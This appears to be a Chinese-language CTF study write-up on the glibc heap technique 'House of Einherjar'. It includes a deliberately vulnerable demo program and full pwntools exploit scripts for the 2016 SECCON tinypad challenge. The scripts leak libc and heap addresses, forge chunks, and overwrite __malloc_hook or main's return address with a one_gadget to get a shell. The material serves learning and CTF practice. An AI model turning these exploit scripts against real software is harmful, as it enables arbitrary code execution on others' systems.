介绍
house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk。其主要在于滥用 free 中的后向合并操作即合并低地址的 chunk,从而使得尽可能避免碎片化。
此外,需要注意的是,在一些特殊大小的堆块中,off by one 不仅可以修改下一个堆块的 prev_size,还可以修改下一个堆块的 PREV_INUSE 比特位。
原理
后向合并操作
free 函数中的后向合并核心操作如下
/* consolidate backward 低地址合并 */
if (!prev_inuse(p)) {
prevsize = p->prev_size; //物理相邻前一个chunk 大小
size += prevsize; //计算合并后的总size
p = chunk_at_offset(p, -((long) prevsize)); //更新chunk 指针为低地址chunk的指针
unlink(av, p, bck, fwd); //对低地址chunk执行unlink
}
这里借用原作者的一张图片说明:
利用原理
这里我们就介绍该利用的原理。首先,在之前的堆的介绍中,我们可以知道以下的知识
- 两个物理相邻的 chunk 会共享 prev_size字段,尤其是当低地址的 chunk 处于使用状态时,高地址的 chunk 的该字段便可以被低地址的 chunk 使用。因此,我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的 prev_size 字段。
- 一个 chunk PREV_INUSE 位标记了其物理相邻的低地址 chunk 的使用状态,而且该位是和 prev_size 物理相邻的。
- 后向合并时,新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize)) 。
那么如果我们可以同时控制一个 chunk prev_size 与 PREV_INUSE 字段,那么我们就可以将新的 chunk 指向几乎任何位置。
利用过程
溢出前
假设溢出前的状态如下
溢出
这里我们假设 p0 堆块一方面可以写 prev_size 字段,另一方面,存在 off by one 的漏洞,可以写下一个 chunk 的 PREV_INUSE 部分,那么
溢出后
假设我们将 p1 的 prev_size 字段设置为我们想要的目的 chunk 位置与 p1 的差值。在溢出后,我们释放 p1,则我们所得到的新的 chunk 的位置 chunk_at_offset(p1, -((long) prevsize)) 就是我们想要的 chunk 位置了。
当然,需要注意的是,由于这里会对新的 chunk 进行 unlink ,因此需要确保在*对应 chunk 位置构造好了 fake chunk *以便于绕过 unlink 的检测。
unlink检查:注意伪造好fake_chunk
/*由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。*/
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
......
....
/*检查:要求fd->bk=p,以及bk->fd=p,两边指中间*/
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
攻击过程示例
可以进行 House Of Einherjar 攻击的代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
char* s0 = malloc(0x200); //构造fake chunk
char* s1 = malloc(0x18);
char* s2 = malloc(0xf0);
char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
printf("begin\n");
printf("%p\n", s0);
printf("input s0\n");
read(0, s0, 0x200); //读入fake chunk
printf("input s1\n");
read(0, s1, 0x19); //Off By One
free(s2);
return 0;
}
攻击代码如下:
from pwn import *
p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list");
'''
payload += p64(0x100) #fake size 绕过if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()
payload填充完后:
0x2068000: 0x0000000000000000 0x0000000000000211 <=====malloc(0x200)
0x2068010: 0x0000000000000000 0x0000000000000101 <=====fake_chunk_starts
0x2068020: 0x0000000002068010 0x0000000002068010
0x2068030: 0x4141414141414141 0x4141414141414141
0x2068040: 0x4141414141414141 0x4141414141414141
0x2068050: 0x4141414141414141 0x4141414141414141
0x2068060: 0x4141414141414141 0x4141414141414141
0x2068070: 0x4141414141414141 0x4141414141414141
0x2068080: 0x4141414141414141 0x4141414141414141
0x2068090: 0x4141414141414141 0x4141414141414141
0x20680a0: 0x4141414141414141 0x4141414141414141
0x20680b0: 0x4141414141414141 0x4141414141414141
0x20680c0: 0x4141414141414141 0x4141414141414141
0x20680d0: 0x4141414141414141 0x4141414141414141
0x20680e0: 0x4141414141414141 0x4141414141414141
0x20680f0: 0x4141414141414141 0x4141414141414141
pwndbg>
0x2068100: 0x4141414141414141 0x4141414141414141
0x2068110: 0x0000000000000100 0x000000000000000a <=====fake_chunk_ends fake_size
0x2068120: 0x0000000000000000 0x0000000000000000
0x2068130: 0x0000000000000000 0x0000000000000000
0x2068140: 0x0000000000000000 0x0000000000000000
0x2068150: 0x0000000000000000 0x0000000000000000
0x2068160: 0x0000000000000000 0x0000000000000000
0x2068170: 0x0000000000000000 0x0000000000000000
0x2068180: 0x0000000000000000 0x0000000000000000
0x2068190: 0x0000000000000000 0x0000000000000000
0x20681a0: 0x0000000000000000 0x0000000000000000
0x20681b0: 0x0000000000000000 0x0000000000000000
0x20681c0: 0x0000000000000000 0x0000000000000000
0x20681d0: 0x0000000000000000 0x0000000000000000
0x20681e0: 0x0000000000000000 0x0000000000000000
0x20681f0: 0x0000000000000000 0x0000000000000000
pwndbg>
0x2068200: 0x0000000000000000 0x0000000000000000
0x2068210: 0x0000000000000000 0x0000000000000021 <=====malloc(0x18)
0x2068220: 0x4141414141414141 0x4141414141414141
0x2068230: 0x0000000000000220 0x0000000000000100 <=====malloc(0xf0)
0x2068240: 0x0000000000000000 0x0000000000000000
0x2068250: 0x0000000000000000 0x0000000000000000
0x2068260: 0x0000000000000000 0x0000000000000000
0x2068270: 0x0000000000000000 0x0000000000000000
0x2068280: 0x0000000000000000 0x0000000000000000
0x2068290: 0x0000000000000000 0x0000000000000000
0x20682a0: 0x0000000000000000 0x0000000000000000
0x20682b0: 0x0000000000000000 0x0000000000000000
0x20682c0: 0x0000000000000000 0x0000000000000000
0x20682d0: 0x0000000000000000 0x0000000000000000
0x20682e0: 0x0000000000000000 0x0000000000000000
0x20682f0: 0x0000000000000000 0x0000000000000000
pwndbg>
0x2068300: 0x0000000000000000 0x0000000000000000
0x2068310: 0x0000000000000000 0x0000000000000000
0x2068320: 0x0000000000000000 0x0000000000000000
0x2068330: 0x0000000000000000 0x0000000000000031 <=====malloc(0x20)
0x2068340: 0x0000000000000000 0x0000000000000000
0x2068350: 0x0000000000000000 0x0000000000000000
0x2068360: 0x0000000000000000 0x0000000000000411
0x2068370: 0x3073207475706e69 0x0000000000000a0a
注意这里绕过unlink第二个检查的方式:
p->fd = p
p->bk = p
unlink:
FD = p->fd == p
BK = p->bk == p
checking:
(FD->bk == p->bk == p) =? p
(BK->fd == p->fd == p) =? p #显然成立
exchange:
FD->bk == p->bk = BK == p
BK->fd == p->fd = FD == p #啥也没变通过检查
这里还需要注意一个点:
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
其实修改为下面这样也是可以的:
payload = p64(0) + p64(0x221) + p64(address) * 2 + "A"*0xe0
第一种方式为了绕过unlink第一种检查,需要在后面加一个p64(0x100)作为fake_prev_size
而第二种方式,在malloc(0xf0)中的prev_size就已经伪造好了,所以不需要p64(0x100)
总结
这里我们总结下这个利用技术需要注意的地方
- 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
- 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏heap地址。
- 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。
2016 Seccon tinypad
checksec
[*] '/home/matrix/PWN/how2heap/wiki_heap/House_OF/tinypad'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
PIE关闭
IDA
程序的读取函数:
unsigned __int64 __fastcall offnull(__int64 a1, unsigned __int64 a2, unsigned int a3)
{
int v4; // [rsp+Ch] [rbp-34h]
unsigned __int64 i; // [rsp+28h] [rbp-18h]
signed __int64 v6; // [rsp+30h] [rbp-10h]
v4 = a3;
for ( i = 0LL; i < a2; ++i )
{
v6 = read_n(0, a1 + i, 1uLL); <======read_n函数要求读满n个字节,除非EOF,在这里没多大影响
if ( v6 < 0 )
return -1LL;
if ( !v6 || *(char *)(a1 + i) == v4 )
break;
}
*(_BYTE *)(a1 + i) = 0; <===========显然在我们输入完数据后会在字符串末尾添加\x00 off-by-null
if ( i == a2 && *(_BYTE *)(a2 - 1 + a1) != 10 )
dummyinput(v4); <=======处理多余的输入
return i;
}
add函数:
*(_QWORD *)&tinypad[16 * (index + 16LL)] = v5; //chunk的ptr和size都记录在bss段上
*(_QWORD *)&tinypad[16 * (index + 16LL) + 8] = malloc(size);
if ( !*(_QWORD *)&tinypad[16 * (index + 16LL) + 8] )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n((__int64)"(CONTENT)>>> ", 13LL);
offnull(*(_QWORD *)&tinypad[16 * (index + 16LL) + 8], size, 0xAu); //漏洞off-by-null
writeln((__int64)"\nAdded.", 7LL);
show函数:
write_n((__int64)" # CONTENT: ", 12LL);
if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] )
{
/*获取chunk对应的size后输出,泄露点*/
length = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]);
writeln(*(_QWORD *)&tinypad[16 * (i + 16LL) + 8], length);// leak
}
writeln((__int64)&unk_4019F0, 1LL);
edit函数:
if ( *(_QWORD *)&tinypad[16 * (index - 1 + 16LL)] )// if(size)
{
c = 48;
strcpy(tinypad, *(const char **)&tinypad[16 * (index - 1 + 16LL) + 8]);// strcpy(tinypad,chunk),复制后会添上\x00
while ( toupper(c) != 'Y' )
{
write_n((__int64)"CONTENT: ", 9LL);
v6 = strlen(tinypad);
writeln((__int64)tinypad, v6);
write_n((__int64)"(CONTENT)>>> ", 13LL);
length_1 = strlen(*(const char **)&tinypad[16 * (index - 1 + 16LL) + 8]); //获取chunk中字符串的length
offnull((__int64)tinypad, length_1, 0xAu); //覆盖到bss段
writeln((__int64)"Is it OK?", 9LL);
write_n((__int64)"(Y/n)>>> ", 9LL);
offnull((__int64)&c, 1uLL, 0xAu);
}
strcpy(*(char **)&tinypad[16 * (index - 1 + 16LL) + 8], tinypad); //复制回chunk一定也会带上\x00
writeln((__int64)"\nEdited.", 8LL);
delete函数:
- 先检查对应chunk的bss_size是否存在
- free,但是指针未置零,结合show函数形成UAF漏洞
数据结构:
思路
- 利用UAF泄露堆基址和libc地址
- 利用HOE获取一个大chunk,修改大chunk中的free fastbins chunk的fd指针到__malloc_hook附近
- malloc获取_hook_chunk填入one_gadget
EXP
由于这里最多可以申请4个chunk,而且集有fastbin_chunk又有smallbin_chunk所以必须先想好申请步骤,不然会遇到很多问题:合并,unsortedbin遍历之类的
泄露基址
add(0x90,'A'*8)#1 这里申请malloc(0x60)是为了以后获取_hook_chunk,
add(0x60,'B'*8)#2 而且这里用smallchunk,fastchunk,smallchunk,fastchunk
add(0xf0,'A'*8)#3 来防止前期操作时chunk合并
add(0x60,'C'*8)#4
#构成链表,获取堆地址,bins地址
delete(1)
delete(2)
delete(3)
delete(4)
这样index4和index3或index1就可利用UAF泄露地址
HOE
self_addr = heap_base + 0x10
fake_chunk = p64(0) + p64(0x101) #head
fake_chunk += p64(self_addr)*2
add(0x90,fake_chunk) #1
add(0xf0,'C'*0x10) #2
payload = 'A'*0x60
payload += p64(0x100)
add(0x68,'A'*8) #3
add(0x68,payload) #4
#gdb.attach(sh,'b*0x0000000000400C12') #free
delete(2) #overlapping
示意图:
删除2即可overlap
_hook_chunk
fake_hook_addr = libc_addr + 0x3c4aed
delete(4) #delete中间的fastchunk即可利用大chunk修改其fd指针
payload = 'A'*0x88 + p64(0x71)
payload += p64(fake_hook_addr) #fake_fd
#gdb.attach(sh,'b*0x0000000000400B55')
add(0x100,payload)
....
...
#获取_hook_chunk:
delete(2)#由于HOE利用#1和#2chunk都在0xa0,如果这里delete(1)会因为#4是个freechunk发生unlink而出错
add(0x60,'A'*8)
payload = 'A'*0x13 + p64(one_gad[2] + libc_addr)
#gdb.attach(sh,'b*0x0000000000400B55')
add(0x60,payload)
EXP
#+++++++++++++++++++tinypad.py++++++++++++++++++++
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: Sun Oct 25 22:13:57 CST 2020
#+++++++++++++++++++tinypad.py++++++++++++++++++++
from pwn import*
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./tinypad')
libc = ELF('./libc.so.6')
# libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def add(size,cont):
sh.sendlineafter('(CMD)>>> ','a')
sh.sendlineafter('(SIZE)>>> ',str(size))
sh.sendlineafter('(CONTENT)>>> ',str(cont))
def delete(index):
sh.sendlineafter('(CMD)>>> ','d')
sh.sendlineafter('(INDEX)>>> ',str(index))
def edit(index,cont):
sh.sendlineafter('(CMD)>>> ','e')
sh.sendlineafter('(INDEX)>>> ',str(index))
sh.sendlineafter('(CONTENT)>>> ',str(cont))
sh.sendlineafter('(Y/n)>>> ','y')
def quit():
sh.sendlineafter('(CMD)>>> ','q')
def get_addr(index):
sh.recvuntil('INDEX: ' + str(index))
sh.recvuntil('CONTENT: ')
add = u64(sh.recvuntil('\n',drop=1).ljust(8,'\x00'))
return add
sh = process('./tinypad')
#sh = remote('ip',port)
add(0x90,'A'*8)
add(0x60,'B'*8)
add(0xf0,'A'*8)
add(0x60,'C'*8)
delete(1)
delete(2)
delete(3)
delete(4)
libc_addr = get_addr(1) - 0x3c4b78
log.success("libc_addr=====>"+str(hex(libc_addr)))
heap_base = get_addr(4) - 0xa0
log.success("heap_base=====>"+str(hex(heap_base)))
#gdb.attach(sh)
self_addr = heap_base + 0x10
fake_chunk = p64(0) + p64(0x101) #head
fake_chunk += p64(self_addr)*2
add(0x90,fake_chunk) #1
add(0xf0,'C'*0x10) #2
payload = 'A'*0x60
payload += p64(0x100)
add(0x68,'A'*8) #3
add(0x68,payload) #4
#gdb.attach(sh,'b*0x0000000000400C12') #free
delete(2) #overlapping
fake_hook_addr = libc_addr + 0x3c4aed
delete(4)
payload = 'A'*0x88 + p64(0x71)
payload += p64(fake_hook_addr)
#gdb.attach(sh,'b*0x0000000000400B55')
add(0x100,payload)
one_gad = [0x45226,0x4527a,0xf0364,0xf1207]
gdb.attach(sh,'b*0x0000000000400C12')
delete(2)
add(0x60,'A'*8)
payload = 'A'*0x13 + p64(one_gad[2] + libc_addr)
#gdb.attach(sh,'b*0x0000000000400B55')
add(0x60,payload)
delete(3)
sh.interactive()
法二—利用main函数的ret地址
要注意和chunk extend的向低地址合并区分开,因为这里的目标chunk地址可以是任意的,而在chunk extend中的向低地址合并就需要低地址chunk是freechunk
泄露堆基址,libc地址
add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
#gdb.attach(p,'b*0x0000000000400C12') #free
delete(3)
delete(1)
.....
...
delete(2) #还原
delete(4)
这里直接用unsortedbin chunk构成双向链表,既可以泄露堆基址,又可以泄露libc地址,然后由于都是smallchunk不需要担心其他问题。
在bss段上设置fake_chunk
让我们可以分配到可以控制chunk指针的chunk区域
add(0x18,'A'*0x18) #1
add(0x100,'B'*0x90) #2
add(0x100,'C'*0x90) #3
add(0x100,'D'*0x90) #4 不能0x100否则在strcpy时会覆盖掉在0x100处的信息
tinypad = 0x602040
offset = heap_base + 0x20 - (tinypad + 0x30)
fake_chunk = p64(0) + p64(0x111) + p64(tinypad + 0x30)*2 #构造
edit(3,'D'*0x30 + fake_chunk) #set_on_bss_fake_chunk
HOE Attack
目标是通过#1的off-by-null,影响#2,用#2来触发attack
null_numbers = 8 - len(p64(offset).strip('\x00'))
for i in range(null_numbers+1): #cover #_2`s prev_size and off-by -null its size
data = 'A'*0x10 + p64(offset).strip('\x00').rjust(8-i,'A')
edit(1,data)
delete(2) #attack
edit(4,'A'*0x30 + p64(0) + p64(0x111) + p64(libc_addr+0x39bb78)*2)#reset unsortedbin chunk
这里由于strcpy遇到\x00截断的原因,我们想把p64(offset)写入chunk1就需要多次循环写入,从高地址逐步覆盖为\x00
还有就是由于在HOE attack生效后一般fake_chunk的size会很大,以防万一,这里把他改为0x111,同时保持链表结构
environ_pointer
由于main函数也是由其初始化函数调用而执行,所以他也有返回地址,在main_rbp + 0x8出和其他函数调用的返回地址一致。在libc 中存储了 main 函数 environ 指针的地址,所以我们可以先泄露出 environ 的地址,然后在得知存储 main 函数的返回地址的地址
environ_pointer = libc_addr + libc.symbols['__environ']
#gdb.attach(sh,'b*0x0000000000400B55')
add(0x100,'A'*0xc0 + p64(0x18) + p64(environ_pointer) + 'A'*8 + p64(0x602148))
data:
pwndbg> x/8gx 0x602040 +0x100
0x602140 <tinypad+256>: 0x0000000000000018 0x00007ffc87509958 <=======泄露
0x602150 <tinypad+272>: 0x4141414141414141 0x0000000000602148 <=======准备再次写入
0x602160 <tinypad+288>: 0x0000000000000100 0x0000000001866140
0x602170 <tinypad+304>: 0x0000000000000100 0x0000000001866250
还有一个比较重要的就是:一般函数返回地址都是stack数据以0x7f开头其字符长度与libc中函数地址长度一致,所以在edit函数中就可以完整覆盖返回地址
0x7f565e105000 0x7f565e29c000 r-xp 197000 0 /glibc/x64/2.23/lib/libc-2.23.so <================libc 代码段
0x7f565e29c000 0x7f565e49c000 ---p 200000 197000 /glibc/x64/2.23/lib/libc-2.23.so
0x7f565e49c000 0x7f565e4a0000 r--p 4000 197000 /glibc/x64/2.23/lib/libc-2.23.so
0x7f565e4a0000 0x7f565e4a2000 rw-p 2000 19b000 /glibc/x64/2.23/lib/libc-2.23.so
0x7f565e4a2000 0x7f565e4a6000 rw-p 4000 0
0x7f565e4a6000 0x7f565e4c9000 r-xp 23000 0 /glibc/x64/2.23/lib/ld-2.23.so
0x7f565e6c3000 0x7f565e6c6000 rw-p 3000 0
0x7f565e6c7000 0x7f565e6c8000 rw-p 1000 0
0x7f565e6c8000 0x7f565e6c9000 r--p 1000 22000 /glibc/x64/2.23/lib/ld-2.23.so
0x7f565e6c9000 0x7f565e6ca000 rw-p 1000 23000 /glibc/x64/2.23/lib/ld-2.23.so
0x7f565e6ca000 0x7f565e6cb000 rw-p 1000 0
0x7ffc874ea000 0x7ffc8750b000 rw-p 21000 0 [stack] <====================stack段
0x7ffc8757c000 0x7ffc8757f000 r--p 3000 0 [vvar]
0x7ffc8757f000 0x7ffc87581000 r-xp 2000 0 [vdso]
篡改main_ret
edit(2,p64(main_ret_addr)) <=====对应上面的p64(0x602148)
edit(1,p64(one_gadget)) <======覆盖main_ret为onegadget
#gdb.attach(sh,'b*0x000000000400E44')
quit()
EXP
#+++++++++++++++++++tinypad_2.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: 2020.10.26 22.25.54
#+++++++++++++++++++tinypad_2.py++++++++++++++++++++
from pwn import*
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./tinypad')
libc = ELF('/glibc/x64/2.23/lib/libc-2.23.so')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def add(size,cont):
sh.sendlineafter('(CMD)>>> ','a')
sh.sendlineafter('(SIZE)>>> ',str(size))
sh.sendlineafter('(CONTENT)>>> ',str(cont))
def delete(index):
sh.sendlineafter('(CMD)>>> ','d')
sh.sendlineafter('(INDEX)>>> ',str(index))
def edit(index,cont):
sh.sendlineafter('(CMD)>>> ','e')
sh.sendlineafter('(INDEX)>>> ',str(index))
sh.sendlineafter('(CONTENT)>>> ',str(cont))
sh.sendlineafter('(Y/n)>>> ','y')
def quit():
sh.sendlineafter('(CMD)>>> ','q')
def get_addr(index):
sh.recvuntil('INDEX: ' + str(index))
sh.recvuntil('CONTENT: ')
add = u64(sh.recvuntil('\n',drop=1).ljust(8,'\x00'))
return add
def show_addr(name,addr):
log.success('The_Addr_of:' +str(name) +"======>" + str(hex(addr)))
sh = process('./tinypad')
#sh = remote('ip',port)
add(0x80,"A"*0x8)
add(0x80,"B"*0x8)
add(0x80,"C"*0x8)
add(0x80,"D"*0x8)
#1====>3=====>libc
delete(3)
delete(1)
heap_base = get_addr(1) - 0x120
libc_addr = get_addr(3) - 0x39bb78
show_addr("libc_addr",libc_addr)
show_addr("heap_base",heap_base)
#reset
delete(2)
delete(4)
add(0x18,'A'*0x18) #1
add(0x100,'B'*0x90) #2
add(0x100,'C'*0x90) #3
add(0x100,'D'*0x90) #4
tinypad = 0x602040
offset = heap_base + 0x20 - (tinypad + 0x30)
fake_chunk = p64(0) + p64(0x111) + p64(tinypad + 0x30)*2
edit(3,'D'*0x30 + fake_chunk) #set_on_bss_fake_chunk
null_numbers = 8 - len(p64(offset).strip('\x00'))
for i in range(null_numbers+1): #cover #_2`s prev_size and off-by -null its size
data = 'A'*0x10 + p64(offset).strip('\x00').rjust(8-i,'A')
edit(1,data)
delete(2) #attack
#gdb.attach(sh,'b*0x0000000000400D03')
edit(4,'A'*0x30 + p64(0) + p64(0x111) + p64(libc_addr+0x39bb78)*2)
#reset unsortedbin chunk
#gdb.attach(sh)
onegad = [0x3f3e6,0x3f43a,0xd5c07]
one_gadget = libc_addr + onegad[0]
environ_pointer = libc_addr + libc.symbols['__environ']
#gdb.attach(sh,'b*0x0000000000400B55')
add(0x100,'A'*0xc0 + p64(0x18) + p64(environ_pointer) + 'A'*8 + p64(0x602148))
main_ret_addr = get_addr(1) - 0xf0
show_addr("main_ret_addr",main_ret_addr)
edit(2,p64(main_ret_addr))
edit(1,p64(one_gadget))
gdb.attach(sh,'b*0x000000000400E44')
quit()
sh.interactive()
参考:https://bbs.pediy.com/thread-226119.htm
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_einherjar-zh/#2016-seccon-tinypad